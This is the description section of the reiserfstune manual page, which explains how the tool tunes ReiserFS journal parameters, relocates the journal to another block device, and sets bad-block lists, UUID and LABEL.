- Description -   
  
reiserfstune is used for tuning the ReiserFS. It can change two journal  
parameters (the journal size and the maximum transaction size), and it  
can move the journalas location to a new specified block device. (The  
old ReiserFSas journal may be kept unused, or discarded at the useras  
option.) Besides that reiserfstune can store the bad block list to the  
ReiserFS and set UUID and LABEL. Note: At the time of writing the  
relocated journal was implemented for a special release of ReiserFS,  
and was not expected to be put into the mainstream kernel until approx-  
imately Linux 2.5. This means that if you have the stock kernel you  
must apply a special patch. Without this patch the kernel will refuse  
to mount the newly modified file system. We will charge $25 to explain  
this to you if you ask us why it doesnat work.  
  
Perhaps the most interesting application of this code is to put the  
journal on a solid state disk.  
  
device is the special file corresponding to the newly specified block  
device (e.g /dev/hdXX for IDE disk partition or /dev/sdXX for  
the SCSI disk partition).
